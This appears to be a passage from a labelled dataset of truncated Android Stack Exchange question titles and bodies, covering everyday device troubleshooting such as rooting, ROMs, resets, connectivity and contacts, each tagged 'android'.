Galaxy? Body: Hello dear Android Enthusiasts, I would like to know what is the best option to create videos with audio similar to those of Khan Academy with Samsung Galaxy Tablets. Some of my colleagues have ... ",['android'] "Title: How do I better organize my contacts on Galaxy Nexus? Body: I remember when I was using my HTC Desire Bravo, it had this nice option to amalgamate duplicate contacts into a single profile contact. But in my Galaxy Nexus I am finding it cumbersome to do the ... ",['android'] "Title: HTC Desire won't boot - buzzes 7 times instead Body: I've just bought an HTC Desire and it seems to have stopped working. On startup, I just get the O2 splash page, then it buzzes 7 times, and that's it. I tried holding down the Vol down key, then the ... ",['android'] "Title: How to quickly scroll to top in android? [duplicate] Body: In iOS, it's possible to tap on the status bar to scroll to top and automatically go to the beginning of a list. Is there such feature in android as well? I am looking for a way to go to the beginning ... ",['android'] "Title: Android Market or Google Play Store for black Pandigital Novel Body: I'm looking for an easy way to get the Android Market or Google Play Store on my black Pandigital novel. I've searched and searched, but I couldn't find any ways to get either of them. If anyone knows ... ",['android'] "Title: Android File Transfer problem Body: I connect my Samsung S3 to my mac and Android File Transfer says ""Try reconnecting or restarting your device"". I have restarted my phone and computer numerous times, uninstalled and downloaded AFT ... ",['android'] "Title: Android phone dialer home location Body: I remember from my HTC HD2 running Cyanogenmod 10.1 a ""home location"" indicator. It shows the area name of the caller's landline if somebody is calling. The default phone dialer app on my Newman N2 ... ",['android'] "Title: disabling sms content and just seeing name on the lockscreen Body: I have an htc one. Is there a way to disable the sms content in lockscreen and just see the name, without using any other application? ",['android'] "Title: How does 'Android Lost' application work? Body: its very urgent and important for me. Lost my android device. Now I have come to know that its being used and is online. By checking the Android Robot symbol in my friends chat list meaning, that my ... ",['android'] "Title: What are “custom ROMs” in relevance to Android? Body: I have heard custom ROMs before, but I do not know what that's supposed to mean in contrast to Android itself, the physical hardware, or the stored-software it's comprised of. I know that a ROM is ... ",['android'] "Title: Is there a Samsung Galaxy S4 w/64 GB compatible w/Verizon 4G? Body: Is there a model of the Samsung Galaxy S4 with 64 GB of internal storage that is compatible with Verizon's 4G service? Verizon only sells a 16 GB version and apparently has no plans to offer higher ... ",['android'] "Title: can not change keyboard input language Body: I can not change language on my new android 4.1 tablet. On my phone I am able to change input language by long clicking on space bar button, however on tablet space bar does not have such ... ",['android'] "Title: Rooted Kindle Fire - Mounting Filesystem from Ubuntu Body: I have a first gen Kindle Fire that has been flashed with Android 4.0.4 (hashcode's of course). The device was rooted using my thoshiba NB305 netbook running ubuntu 10.04 (Lucid). While the original ... ",['android'] "Title: How to reset usage tips Body: My wife requested that I set up her new phone for her, then explain to her how to use it. Well, my phone is a Windows phone, and I've never used an Android before. (You may begin your jeering.) ... ",['android'] "Title: Connect android tablet to internet via ethernet Body: I am using an android tablet at my work place. For some weird reason, WIFI has been disabled in the tablet. The only way to connect to the internet is via ethernet. At this point, I have a ... ",['android'] "Title: Any pattern lock in Android ICS which would lock the phone and not allow retries? Body: I saw this link below for pattern lock provided by Android Recovering from forgotten lock pattern What i was looking for incase the user exceeds a number of tries it just completely locks down the ... ",['android'] "Title: How to install apps into android device without internet connection? [duplicate] Body: I have: A Windows XP with internet connection. The .apk file in the computer. A USB cable. A rooted android device with sdcard. I do not have: WiFi connection for my android device. Any file ... ",['android'] "Title: Galaxy Nexus 6:30 minutes to copy 128MB over WiFi, is it normal? Body: I use the Galaxy Nexus GT-I9250 and the WiFi is very slow, I copied a video (128MB) from my computer and it completed in 6:30 minutes, is that normal? It seems slower than over 3G. I used ES File ... ",['android'] "Title: Why is there Messenger icon in App drawer? Body: I have Google Plus app installed on my HTC One X. In the App drawer it shows icons for Google+ and Messenger. Both these belong to same Google+ app. The Messenger icon opens up Google+ app with ... ",['android'] "Title: Problem restoring my .ab backup file Body: I know this might be duplicate but I couldn't find any relevant solution myself. Today I tried to be adventurous and install Ubuntu Touch on my Nexus 7 and it was a failure. As a safety measure I ... ",['android'] "Title: Can't Factory Reset HTC Desire C Body: I tried unlocking the bootloader (which I apparently succeeded at.) I then tried rooting it, which I failed at. I just want to reset the phone back to factory settings but when I try to do a factory ... ",['android'] "Title: “fastboot -l devices” returns nothing Body: I'm a newbie trying to learn about what alternative firmware I could use to upgrade my Nexus Galaxy from Android 4.2.1. After connecting the phone to my Windows PC with a USB cable, I followed this ... ",['android'] "Title: Multi User Backup Body: On a tablet I have a situation where I have multiple users with multiple accounts, and I am trying to have the phone's state backed up in such a way that if I upgrade the operating system, every ... ",['android'] "Title: Sprint Galaxy S2 SPH-D710 BLACK SCREEN, blue light still on. Bricked? Or fried motherboard? Body: Two days ago, my Galaxy SII screen went black out of nowhere. I restarted and it was stuck on Galaxy SII introduction screen. I took out battery and placed new fully charged one in, but this time only ... ",['android'] "Title: Digital magazines on google play/android Market: does it work like Apple newsstand? Body: I apologize if I may seem a bit confused but actually I need some direction to make up my mind about digital magazines publication on google play /android markets. I'm comparing to the Apple store/ ... ",['android'] "Title: Passwords containing “!” are always wrong Body: I have a Samsung Galaxy S3 with untouched Android 4.1.2 and problems with logging into accounts on any website, in any browser, as long as the password contains an exclamation mark (""!""). I use the ... ",['android'] "Title: SuperSU loads slowly at boot Body: I have a Verizon Galaxy S4 on stock ROM. I recently rooted using the kernel downgrade and motochopper method. I've noticed that upon rebooting the phone, there is a roughly five minute delay between ... ",['android'] "Title: Multiple time zones on Nexus 4 - Android 4.2.2 Body: Is it possible to set two different time zones on nexus 4-android 4.2.2 version? I want to set-up EST (Eastern Standard Time) & IST (Indian Standard Time)... Thank you ",['android'] "Title: What exactly is this App Data that is being backed up to Google? Body: Anyone know exactly what ""app data"" consist off? I'm refering to the new App Data-backup adapter that Google pushed out a while ago. I have a notes application. From what I can see, it don't save the ... ",['android'] "Title: Device not booting after factory reset Body: My problems is my phone keep showing 'ANDROID' after I'm resetting it. I tried to restart but it keep showing the same. What can I do? ",['android'] "Title: Mix two audio files mp3 in Android Body: After a period of research, I found that Android seems in no way to mix two mp3 audio files together. I have suggested using SoX & Lame. Sox by default does not include mp3 support because of ... ",['android'] "Title: Reinstall OS on GT-S5830i Body: Is it possible to re-install the OS (Android 2.3.6) on to my GT-S5830i? If yes, how can I get that done? ",['android'] "Title: Virtual or remote desktop for Android Mini PC Body: I just bought MK808 Dual-Core Android 4.1.1 Google TV Player. I want to debug applications on this device and I am trying to figure out how to use my Macbook Air laptop as a display for this device. ... ",['android'] "Title: How to remove “calendar events” from the lock screen? Body: I think I used to have the clock and the alarm time being shown on the upper part of my lock screen. All of a sudden, since a couple of days ago, I'm now being shown the calendar on the lock screen. ... ",['android'] "Title: Wifi hotspot generates new mac address each time Body: Every time I'm gonna to use wifi hotspot on my device it generates new mac address, therefore my laptop can't remember for permanent. Every time I need to set all connections details again anad ... ",['android'] "Title: Can I delete a file called 'UPDATE' in the dload folder, or will this delete the operating system? Body: I recently received low space warnings on my Huawei Honor so I connected my phone to the Mac and observed the files: As you can see, perhaps 75% is taken up by a file called 'UPDATE' in the dload ... ",['android'] "Title: Samsung Galaxy SIII not Recognized Body: I have a Samsung Galaxy SIII which I'm attempting to pull photos off of - but I am having trouble doing so. I've attempted to use Kies to pull the photos off - but it just says loading... loading... ... ",['android'] "Title: when does Google Play carrier billing post on statement? Body: when does carrier billing post on google play? I can't find in any of my bills where it does or anything like extra charge history. Is there a month delay or something? Using T-Mobile ",['android'] "Title: Cannot install or move Android Apps to SD Card - is it a flaw from the Android or from the phone manufacturer? Body: From my understanding, while the Galaxy S4 does offer a memory card slot, it's worth mentioning that you can't install apps on the memory card and can only use it for storing movies, music, pictures, ... ",['android'] "Title: Android Mockup Tool that can read/write balsamiq files Body: I've been testing some mockup tools for android but none seems to be able to import balsamiq mockup files. Has anyone found one yet or any converter out there? I already tried ""Mockups.me"" and ... ",['android'] "Title: What are the folders 'burstlyImageCache' and 'burstlyVideoCache' and can I delete them? Body: I'm interested in the following two folders found on my Samsung SIII: /storage/sdcard0/burstlyImageCache /storage/sdcard0/burstlyVideoCache Together they only come to about 1.5 MB on my device. ... ",['android'] "Title: Can't answer international calls while I can receive local calls Samsung GSIII Body: I bought CDMA Galaxy SIII model SCH-R530U US Cellular from the USA. I face a problem with it for international calls. When I receive international calls the phone rings and the screen shows the caller ... ",['android'] "Title: Taking pictures while recording a video Body: How can I take pictures while recording a video, similar to the feature introduced in the Galaxy S3 or is that a hardware feature? If the feature is available (e.g., via an app), which handsets and ... ",['android'] "Title: Android Emulator (API 10) Camera Not Working - ADT Bundle Linux Body: The Camera on my Android API 10 Virtual Device isn't working. While creating the AVD there are three options I found for Back Camera: NoneWebcam0Emulated I tried all options 1, 2 and 3 to no avail. ... ",['android'] "Title: how to ota update firmware on rooted samsung galaxy s 3 Body: Is there anyway of using ota update, to update the firmware of a rooted phone. I've used framaroot to root my phone. ",['android'] "Title: Can I lock the Nexus 4/7 bootloader after flashing a non-stock ROM? Body: I know that doing a fastboot oem unlock will both unlock the bootloader and wipe the data on the device. Unfortunately, while this allows me to install a non-stock ROM like Cyanogenmod, my ... ",['android'] "Title: Jelly Bean navigation buttons messed up in Landscape Body: If you look at the pictures, you can see that the software navigation buttons are messed up. The buttons are still where thy should be, only the images are in the wrong place. How Do I fix this?I am ... ",['android'] "Title: How to get more screen lock options? Body: In my Nexus 4, I have the following screen lock options. None Slide Face Unlock Pattern PIN Password How can I get options other than these for my lock screen? I prefer non-rooted ways to get this ... ",['android'] "Title: Nexus 7 White Vignette Body: For the past few days my Nexus 7 wouldn't turn on. I just assumed the battery was dead but that seemed strange since the battery usually lasts a lot longer than it had. Last night I connected it to ... ",['android'] "Title: Can't hear calls through headphones/headsets Body: I have an LG Optimus Chat. I have a problem, recurring across reboots, where I'm unable to hear calls through headphones. I can hear music played through e.g. Winamp, but sound from calls isn't ... ",['android'] "Title: Sending email to multiple recipients Body: I need to use my Note 10.1 to send an email to multiple recipients in the cc or bcc field. But it seems I cannot copy and paste the contacts which are automatically put into the 'to' field. Gmail in ... ",['android'] "Title: Where can I find a Windows driver for my Novotech PWS700EJ tablet? Body: I'm looking for a Windows driver for this tablet: Novotech PWS700EJ I need it to run my android projects in debug mode I searched on Google and on the official site with no results ",['android'] "Title: Sharing Wishlist on google play store Body: Is there a way to share or transfer wishlist from one account to another on google play store? ",['android'] "Title: How to load apps onto Samsung galaxy Body: When trying to download apps to Samsung galaxy phone I keep getting signon time- out message - keep going round in circles. ",['android'] "Title: Vibration for LG Keyboard Body: I don't know about the other models, but my LG Optimus L3 2 doesn't vibrate while touching the virtual keyboard. That's really bad, because it's annoying to hear a sound to make sure the key was ... ",['android'] "Title: What is the name of the GUI Android uses/has used? Body: Like the GUI controlling home sreen and app icons, etc. How or what is this called that renders thia? ",['android'] "Title: My phone keeps re-starting when I plug in charger Body: Over the last couple of days my Galaxy Ace 2 (2.3.6) will not switch off while charging. If I am not charging it will switch off, but the minute I plug the charger in it automatically switches itself ... ",['android'] "Title: Gts5830 restarting again and again? Body: I have rooted my phone through zip and it was working well. A few days ago I wanted to reset my phone but I couldn't perform the option factory reset. So through ClockWorkMod I reset my phone. But the ... ",['android'] "Title: Full battery completely depleted within a few hours without any user activity — what to do? Body: I left my phone on the table with full battery without doing anything with it. After a few hours the battery was completely depleted, and the phone automatically shut down. What could cause such a ... ",['android'] "Title: Website that helps me select a phone based on supported hardware and API features [duplicate] Body: I want to develop an app that requires specific features (e.g., the ambient temperature sensor) but I know that some of the features are not implemented in very many phones. Is there a website that ... ",['android'] "Title: Using a 4G phone on Page Plus with custom ROM Body: I've seen 4G phones, such as the Razr MAXX being sold on ebay and supposedly working with page plus. Does anybody know how this works? Because Page Plus requires the phone to be Verizon 3G phone only ... ",['android'] "Title: Overflow menu icon (three vertical dots) visible in Apps in HTC One X and not in Samsung Galaxy S2 Body: I have HTC One X while my friend has Samsung Galaxy S2. In some Apps like Google Chrome in my phone the Overflow menu icon (three vertical dots) are visible while on SGS2 they are not. Google ... ",['android'] "Title: Does adding a google account to phone increase data charges? Body: I've written an app that uses google push notifications to install upgrades. The problem is that certain companies that my app is rolled out to, have phones that are running Android 2.3.6. This means ... ",['android'] "Title: How do I keep my /system mounted as read+write all the time? Body: I'm running ChainFire3D and for some reason, the per-app setting doesn't seem to work at all. But when I set the default setting itself, it works. I saw that one of ChainFire 3D's requirement is for ... ",['android'] "Title: Share a number from call history to calendar Body: On my s3, I would like to make a calendar entry after some one called me and put the number in the description field on the calendar. I'm thinking this would be easy, just share the number from call ... ",['android'] "Title: How to remotely log out all web-based Gmail sessions from my Android phone Body: Can I remotely sign out all web sessions of Gmail from my Android phone? This question explains how to do this from the Gmail website with a standard web browser. This doesn’t work from my phone ... ",['android'] "Title: RAZR cuts off call ring after half a second Body: My Droid RAZR (original model, 18 mos. old), seems to have an issue where when a call comes in it will start to play the ring tone but then the sound shuts off after half a second. The call is still ... ",['android'] "Title: Samsung Galaxy S3 suddenly crashing everyday Body: Samsung Galaxy S3 GT-I9300 Android 4.1.2 Baseband I9300XELK1 Kernel Version 3.0.31-764725 Build Number JZO54K.I9300XXELCC NOT rooted For the past couple of weeks this device has suddenly started to ... ",['android'] "Title: Voicemail forwarding numbers - Tmo prepaid plan Body: I switched a monthly Tmobile plan several months ago and absolutely hate the voicemail ""service"". I previously had all my VM's sent to my email via YouMail (kind of like Google Voice). Today while ... ",['android'] "Title: How to move app data to external sd card on karbonn a15 Body: I have karbonn A15 android ICS(4.0.4) smartphone, its not rooted. I want to move the app Data to my external sd card, i tried to move the (mnt/sdcard/data) folder from the internal SD (android/data) ... ",['android'] "Title: Possible to connect Android device to Internet with Ethernet Body: I want to connect my Samsung S3/S4 to the internet using an Ethernet cable and USB network adapter. Is this possible? I have tried a couple different adapters, which don't work, and leads me to ... ",['android'] "Title: Can't boot phone or access recovery mode Body: I tried updating a custom ROM on my Samsung Galaxy S: Semaphore Version 9 (Android 4.2.2 Jelly Bean). The update was successful except that it produced an error after completion saying the process ... ",['android'] "Title: Samsung Galaxy S not displaying contacts, only unknown is shown Body: My Galaxy S Duos only shows unknown on the display when I have saved phone book contacts calling me? How and what do I do to get numbers to be displayed? ",['android'] "Title: Making Android phone locked using the SIM card password Body: When I press the power button. the Android phone will go into sleep mode. When I press the power button again, the Android phone will wake up and ask me a password. So, how do I make the Android ... ",['android'] "Title: How to see mobile operator proxy settings Body: My mobile internet suddenly has stopped working. Chrome complains Error 130 (net::ERR_PROXY_CONNECTION_FAILED). Google app store and other apps those load content from servers now work only when I ... ",['android'] "Title: Installing incompatible ROMS Body: I was wondering if you are able to install ROMS, for example, the Ubuntu Touch OS for the GS2 i9100 onto the GS2 SPH-D710. Will it brick my phone? ",['android'] "Title: Why does my phone get crazy when plugged in to a specific PC? Body: Why is my Xperia J simply unusable when plugged in to a specific PC? The touch screen does not work, thinking that I tapped one icon or option when it was another. I am using MTP since MSC makes apps ... ",['android'] "Title: How can I view email in conversations view? Body: I am looking for a way to view my emails on Android in conversation style view, just like Gmail does. I've tried Aqua Mail, MailDroid, K-9 Mail and Kaiten Mail, but none seems to have a conversation ... ",['android'] "Title: Google Keyboard vs Android Keyboard (AOSP) Body: Is there a difference between Google Keyboard, which was recently release on the Play Store, and the Android Keyboard (AOSP) in the open source project? Update: I need the difference from a feature ... ",['android'] "Title: How to fix android process acore Body: how to fix 'android.process.acore' on samsung galaxy s advance? I cant add contacts or use contact settings. I dont not a Hotmail/Outlook account on my phone. ",['android'] "Title: Is there any version of gtalk supporting multiple accounts which works with 2.3/cm7 Body: Gtalk 1.3 doesn't support multiple accounts: it just connects with the main one, with no apparent way to switch it. Upgrading to hangouts technically works, but it doesn't even bother to display user ... ",['android'] "Title: Prestige 7 won't connect to internet Body: I can't get on internet. When I go to Settings > Network > WiFi and drag the switch from ""off"" to ""on"" it tries to connect but it goes right back to off. I can't click on add network. Also under IP ... ",['android'] "Title: Why is adb backup with system apps unsafe? (Holo backup) Body: In holo backup, adb backup with system apps is said to be unsafe. I was and am not sure why it is. But I tried it anyway, and slept then when I woke up in the morning, my computer crashed. So I am ... ",['android'] "Title: Android Folder Hierarchy Body: On Android's root (/), what is the purpose of each folder? I am wanting to learn the folder hierarchy structure of Android 2.3 and 4.x, if they have different folders in ""/"". ",['android'] "Title: Is there a way to make a page in the Kindle app less brighter than the options available within the app? Body: I have my bright setting on the lowest in my app and my phone is at the lowest possible brightnes too but I find it too bright to read a page in the Kindle app in the dark. Is there any way to lower ... ",['android'] "Title: How to make phone calls on Vodafone Smart Tab 10? Body: I have a rooted Vodafone Smart Tab 10 (ZTE based) that has GSM capabilities. The problem is that the OS doesn't appear to have any functionality for GSM phone calls. Is there a way to get phone call ... ",['android'] "Title: Trying to Make WIFI connection on android 4.1 jellybean Body: New Nextbook tablet Android 4.1 Jellybean. trying to make WIFI connection. Ensured that SSID is enabled. Password entered. Device says its obtaining IP address, then avoided poor internet ... ",['android'] "Title: Installing 'pure' android on Samsung Galaxy S4 Body: I have unsuccessfully searched the web for instructions on how to install a stock version of android on my Samsung Galaxy S4. What are the steps to install a 'pure' android 4.2.2 (or later) on the ... ",['android'] "Title: Default contact for a number Body: Is there a way to set a default contact for a specific number, which happens to be bound to multiple contacts? I.e. for some reason Alpha and Bravo share a telephone number. Currently if I try to ... ",['android'] "Title: jelly bean rom for 7"" tablet byond mibook mi3 [duplicate] Body: Can anyone suggest some good jelly bean rom for my byond mibook mi3 tablet with 7"" screen, 1.2 ghz cpu, mali400 gpu, 1gb ram, running ice cream sandwich. I would like to have a pure android jelly ... ",['android'] "Title: Is it possible to install apk (size 1,7 GB) to Rikomagic MK802 IIIS? Body: Is it possible to install apk (size 1,7 GB) to Rikomagic MK802 IIIS ? Explorer shows, that Rikomagic has internal memory 1,1GB , but the Rikomagic should has 8GB memory. I am installing from USB. ... ",['android'] "Title: Will my device get locked again after update? Body: I've bought samsung captivate glide I-927 from eBay. It is locked with at&t by default, so seller unlocked device for me and it is working fine. It comes with Gingerbread 2.3.5 and I found that ... ",['android'] "Title: How do I change my email address on Play Store as the one I have is no longer in use Body: The email address I have on Play Store is no longer verified and I wish to change to my current provider as I do not seem to be able to download apps ",['android'] "Title: Galaxy S4 filtering incoming connections Body: I am trying to run an ftp server app on my galaxy s4 (tmobile) and it starts ok, binds to the wifi address and port 8021, but then I can't connect to it. I tried pinging my internal ip address as well ... ",['android'] "Title: Why i can install any windows version on my pc but i cannot install any android version on my phone? Body: I guess it's a silly question but i don't get it xD. I've read it's about controllers, but they can be downloaded from manufacturers, right? ",['android'] "Title: What does unlocking the bootloader do? Body: My understanding is that a boot loader is like a BIOS in a PC, which will help a device to load the OS correctly. When I unlock the bootloader in an Android device, does this modify the complete ... ",['android'] "Title: Revert an Android phone to vanilla rom from Google [duplicate] Body: Can we install a vanilla ROM to a non-Nexus Android device? I have an Android phone (version 2.3.6) and I don't like the ROM installed by the manufacturer. I want to revert it to a vanilla ROM like ... ",['android'] "Title: Samsung GT-S5830 Galaxy Ace reinstall system Body: I've got Samsung GT-S5830 Galaxy Ace and my phone is just lagging a lot, systems is getting slower and I've got many applications from my telephone provider that I can't uninstall. I want to install ... ",['android'] "Title: My galaxy S4 usb port is not working :(? Body: It's been already 1 week I bought my Galaxy s4, it was working just perfect ! today, I went to the beach and I took it with me, the degree was 46 !! but my phone was covered and placed in the bag, no ... ",['android'] "Title: Sony Xperia Z won't name contacts on incoming calls Body: Whenever on of my contacts ring my phone, it does not display the caller ID and simply marks them as ""Unknown"". I don't mean saying the contacts name out loud either- I just mean the caller ID isn't ... ",['android'] "Title: Reregister device with Play Store Body: I was recently going through my list of devices on the web Play Store to remove an old device. While looking at the list, I saw that I had two entries for my Nexus 4: ""LG Google Nexus 4"" and ""Nexus ... ",['android'] "Title: Firmware for unfamous Android tablet Body: I have an Android tablet sold by and branded LocoGadgets. ... ",['android'] "Title: Kindle Fire - Home button does not prompt me which Launcher to use Body: I installed AWD launcher on my rooted Kindle Fire 2. When I open the launcher manually everything works just fine, but when I press the home button it does not prompt me to choose the default ... ",['android'] "Title: speaker option enabled by default when answering the calls Body: Can any of the applications change the call settings? All of a sudden have observed that when an incoming call is answered, Speaker is enabled by default. After uninstalling some of the applications ... ",['android'] "Title: Unable to resolve host “get.cm” Body: I have a Samsung Galaxy Tab 2 (GT-P3113). When connecting to a particular Wi-Fi network, I get a message that states: unable to resolve host ""get.cm"". I am able to connect to the network and can see ... ",['android'] "Title: Scan a single channel to measure RSSI of a specific AP when not associated Body: I would like to (repeatedly) measure the RSSI of a given Wi-Fi access point while I am (physically) approaching it. It is important to mention that at the beginning, my phone is not associated with ... ",['android'] "Title: Why won't my samsung galaxy s turn on? Body: i have a galaxy s and i have tried updating it to ics (ice-cream sandwhich) android 4.0. In order to do this i had to change my baseband version to make the last 3 letters JW4 (my original was KB1) so ... ",['android'] "Title: SSH server on Android Emulator Body: Is it possible to start SSH server on Android emulator? What is the app name? I've tried a few apps but neither of them could run on Emulator. ",['android'] "Title: PhoneUtil not working Body: I have a Samsung Galaxy S2, which I've NEVER been able to get my PC to recognise either wirelessly or with a USB. I tried #7284# and the screen briefly says ""USSD code running"" and then ""Unable to ... ",['android'] "Title: Internal memory full even when all apps are linked Body: I have an Acer liquid Metal rooted. I have already linked(with link2sd) almost all my apps, even some previously system apps, to my sd. The problem being that my memory is still full, the best I can ... ",['android'] "Title: Copy contacts from iCloud to Android phone [duplicate] Body: Just went from an iPhone to an Android phone. How do I get my contacts that I have on iCloud on to my Android phone? I looked at SmoothSync, but what's the point in paying for that when I know there ... ",['android'] "Title: Can't use my phone Body: I am new and I'm really struggling with a problem on my Samsung Galaxy S3 recently. The problem is this: When I hold the power button, the device starts. But when it comes the moment when I get to see ... ",['android'] "Title: How to change a pattern unlock from the phone settings without knowing the original [duplicate] Body: I have two unlock security options set up on my phone (HTC One). Firstly there is the facial recognition (which works well and lets me in) but on the occasions when it is too dark / doesn't recognise ... ",['android'] "Title: Backup Link2sd ext4 partition, resize it and restore Body: I have messed the ext4 partition resizing it with Gparted, it still works but shows the old size and Link2sd doesn't seem to be able to link all the pieces. I was wondering if I could backup the ... ",['android'] "Title: recover data from a Samsung Galaxy S3 with a broken screen [duplicate] Body: I dropped my SG3 which rendered the screen useless, completely black. The phone works, I could even make calls using voice commands. I got a replacement SG3, but upon transfering the sd card, ... ",['android'] "Title: Eroot World’s Strongest Root Tool: Scam or No Scam - That Is The Question? Body: ""Eroot (phone one key root tools) is a free android root tool which is developed by China root team. It is a new tool and become the World’s Strongest Root Tool. Currently the Eroot supports Samsung, ... ",['android'] "Title: Factory reset not working on Galaxy 10.1 tab Body: I have a galaxy tab with following specs Model number: GT-P7510 Android version: 3.1 Kernel version 2.6.36.3 se.infra@sep-58#1 Build number: HMj37.UEKF3 P7510UEKF3 I have tried -- Settings > ... ",['android'] "Title: Google Hangouts gives “Can't sign in because we couldn't reach Google. Try again” error Body: I have updated and replaced Google Talk with Hangouts on my tablet running Cyanogenmod 10.1. Now every time I open the Hangouts app it shows me the following error message: Can't sign in because ... ",['android'] "Title: How configure the DHCP settings of WIFI Tethering(Hotspot) in android Body: When connecting my pc to android wifi hotspot, It assigned a 192.168.42.x address to my pc. I really need to change this as it conflicts with one of our work subnets - is this possible? ",['android'] "Title: Can I connect my Android Mini PC to my VGA Monitor through Adapter? Body: I am buying a new Android Mini PC : http://uae.souq.com/ae-en/mk802-iv-rk3188-quad-core-cortex-a9-android-wifi-mini-pc-4995376/i/ It has HDMI Output but I want to connect it to my VGA Monitor. So, ... ",['android'] "Title: Can't access internet but I'm connected to wifi. Body: I have been using my dorms WiFi forever -- but since the latest system update on my S3, it won't get internet even though im connected to the WiFi (status says I'm connected -- but the icons in the ... ",['android'] "Title: WebRTC in Android mobile phone how to get? Body: I have brand new Samsung Galaxy S2 / S3 / S4. There i installed firefox/ firefox beta, chrome, chrome beta. And tried webRTC but it fails, all tried but this WebRTC does not work then i installed ... ",['android'] "Title: No keyboard after factory reset. Can't install keyboard on phone with bluetooth, google play, sd card, etc Body: I have a Coolpad Quattro with Gingerbread 2.3. I didn't like the keyboards that came with the phone so I deleted them and got another one from the app store. Because my phone was running slowly, I did ... ",['android'] "Title: Unable to move apps to SD card of Micromax Canvas 2 [duplicate] Body: I got a new 16 GB SD card for my Micromax Canvas 2 (Ice Cream Sandwich), but: I can't install apps on the external SD card. I can't move apps to the external SD card. I read once that I should ... ",['android'] "Title: Is there a “temporary root” for Samsung phones? Body: I have a Samsung stellar from Verizon. I want to temporarily root it (I think the iPhone/iPod one is a tethered root). After I restart my phone, I want it to act like it never was rooted. Ever. If I ... ",['android'] "Title: Password unlock and access to widgets? Body: So I just realised that having a Swipe unlock allows you to have widgets and access to the camera etc. But whenever I put a password, these features are gone. Is there a way I can allow for a swipe ... ",['android'] "Title: Run Ubuntu from SD Card on Android Tablet Body: I'll be acquiring my first tablet in a few weeks, and haven't tinkered with Android much besides my 1st gen Motorola Droid (I had an HTC Sense, but a power surge fried it and turned it into a brick, ... ",['android'] "Title: How to backup Viber chat message to Gmail automatically? Body: I see that Viber app has the feature of backing up message and send email. I want to do that automatically so as all my Viber messages are safely backuped. How can I do that with Viber app? ",['android'] "Title: Pressing Shift+Space on an external keyboard switches keyboard layout Body: When I use a Galaxy Note together with an Apple Wireless Keyboard, pressing ""Shift+Space"" switches keyboard layout. This is really annoying. Is it possible to disable it? ",['android'] "Title: Galaxy SIII is displaying small-size low-quality pictures for contacts Body: My brother and I have a Galaxy SIII, we both have the most recent firmware and software updates. We both have the same contact whose picture is fetched from his Facebook profile picture. Whenever ... ",['android'] "Title: How to reset android phone which is locked and debugging mode is disabled, plus no recovery? [duplicate] Body: Anyone know how to reset an android phone which is locked and asking for gmail id/pass and can't boot into recovery mode, plus debugging mode is disabled? ",['android'] "Title: Chinese songs don't show up in Apollo library Body: I have some Chinese songs on my LG Optimus G, which I copied to my music folder along with the rest of the songs. All songs show up in Apollo (Cyanogenmod's standard player), but not the Chinese ones. ... ",['android'] "Title: How to add cover art for MX Player? Body: Can I add cover art to movies listed in MX Player, similar to cover art for MP3s? ",['android'] "Title: OpenVPN Android Certificates Body: I'm having trouble with my openVPN certificates and my android device. I'm using the official openvpn client on android with a zeroshell box running openvpn using host to lan. I've generated and ... ",['android'] "Title: How to clean up related files from deleted apps? Body: AppCleaner will delete related files from the Mac when an application is dragged to the trash. How does one clean up remains of uninstalled apps on Android? ",['android'] "Title: Download files from Extabit Server Body: I have a problem with downloading files from Extrabit server (Premium User) I use Boat Browser hold on ""Download"" button and Share Link with AndroGET (Free) AndroGET start checking file and show ... ",['android'] "Title: Internet Usage on Samsung Galaxy Ace 5830. Body: My provider gives my 3GB of data and I don't know how to find out how much I have used or have left. Where can I find this information ",['android'] "Title: Buttons stopped working on Galaxy S2 Body: All the buttons on my Galaxy S2 have stopped working. I can get them to light up, by swiping across them. Started after backing up phone. (before ICE Cream update) tried updating to 4.1.2 no luck. ... ",['android'] "Title: What apps need to be saved on internal memory in the S4? Body: I have read online that 16GB version comes at around 8GB instead. And that Burst Mode can only save on internal memory. So I would like to know, what other Apps cannot save on an external memory ... ",['android'] "Title: Installing stock JellyBean in Galaxy S2 [Argentina] Body: The system that came with my Galaxy S2 is heavily bloated. I want to install a bare, stock Jelly Bean ROM. I've searched and searched, but keep running into walls. System version I don't know how to ... ",['android'] "Title: Can app lockers really work? Body: There seem to be many app-locking applications out there but I wonder what do they really do? I imagine there might be many solutions to app-locking, but is it possible to really prevent someone from ... ",['android'] "Title: Fastboot Kindle Fire 2 Body: EDIT 2: Thanks for all the help. I think I found it! http://forum.xda-developers.com/showthread.php?t=2035047 EDIT 1: Putting this edit on top of the post so that people read it first. I got the ... ",['android'] "Title: Enable slide-lock without PIN/password prior to security timeout - PIN/password enforced by enterprise security policy Body: I'm on a Galaxy S2X on Jelly Bean 4.1.2, and my company's security policy forces me to use PIN or Password to unlock the device. Jellybean now allows you to disable ""Lock instantly with power button"" ... ",['android'] "Title: HTC Sense Personal Dictionary Doesn't Show Word Body: HTC EVO 4G LTE Running Android 4.1.1 I was typing along and was trying to make a point in a text by capitalizing the word LOT. Well, I accidently saved it to the custom dictionary on the next ... ",['android'] "Title: How can I root my “RealPower” branded Android phone? Body: I have a ""RealPower"" branded Android phone. Is there any way for me to root and install a custom ROM on this device? Here are some details: Model Number : MT65515-C910 Android Version : 4.0.4 ... ",['android'] "Title: Installing Orbot as a remote SOCKS server for other computers? Body: I installed Orbot on my Android device and I want to make it a remote SOCKS server so that other computers can connect to it. The TorFAQ – Tor Bug Tracker & Wiki suggests that for Tor on Windows, ... ",['android'] "Title: Text not being underlined in internet app on S4 Body: I have an issue with my S4 browser: Open Google site using the default Internet app (not Chrome) Enable predictive text, input about 8 dots and then add some following characters Notice ... ",['android'] "Title: How can I erase whole phone securely? [duplicate] Body: How can I erase my phone completely and securely before selling it for someone else? I have read that secure deletion procedures used on regular hard disks are ineffective on flash drives connected ... ",['android'] "Title: Uploaded previously owned music to google play cloud; now missing from phone - SGIII Body: I have several albums that I have owned for years, all of which have been previously stored on my phone through iSyncr, including my playlists, with no problems. After downloading Google play onto my ... ",['android'] "Title: Remove 'Driving mode' from status bar dropdown? Body: I have a Samsung phone with android 4.1.2. When I slide down the notification bar there are multipls items. One of those are driving mode. I don't drive anywhere (I can't afford a car, gas, ... ",['android'] "Title: How do I make Android consider my WiFi Access Point as valid (blue?) Body: We have a very large wifi network at Stack Exchange, and the primary guest network is tightly locked down. Our firewall rules permit essentially just http/https and vpn connections. When our ... ",['android'] "Title: Can I make Google Play not run a background process (on CM10)? Body: There is always a background process for Google Play Market in the CyanogenMod 10 system (Android 4.1.x). I don't like this. Since my device (Samsung Galaxy S) doesn't have much memory, I'd like to ... ",['android'] "Title: Enable Location Service on Facebook Messenger app for Samsung Galaxy Note II Body: How do I enable location services on 